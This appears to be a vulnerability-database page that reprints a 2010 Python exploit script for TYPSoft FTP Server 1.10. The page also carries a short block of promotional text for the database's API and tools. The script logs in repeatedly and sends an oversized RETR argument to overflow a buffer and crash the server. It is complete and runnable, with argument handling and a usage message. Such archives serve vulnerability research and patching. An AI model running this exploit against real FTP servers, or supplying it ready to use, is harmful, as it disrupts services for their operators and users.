Lucene search
K

TYPSoft FTP Server RETR Command DoS

🗓️ 16 May 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

TYPSoft FTP Server RETR Command DoS with buffer overflo

Code

                                                # Exploit Title: TYPSoft FTP Server RETR Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes
# Software Link:
# Version: 1.10
# Tested on: Windows XP, SP2 (EN)
# CVE : N/A
 
#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   [email protected]                    ##"
print "################################################################# \n"
 
import socket
import sys
 
# Description:
# RETR command overflow with no PORT specified
 
# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")
 
# Buffer
buffer="AAAA" * 496
 
def exploit(hostname,username,password):
    i=0
    while i < 10:
        i=i+1
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect((hostname, 21))
        except:
            print ("Error: unable to connect to host")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] " + r + ": iteration number:  ",i
        sock.send("USER " + username + "\r\n")
        r=sock.recv(1024)
        sock.send("PASS " + password + "\r\n")
        r=sock.recv(1024)
        sock.send("RETR " + buffer + "\r\n")
        sock.close()
         
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)
 
# End
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation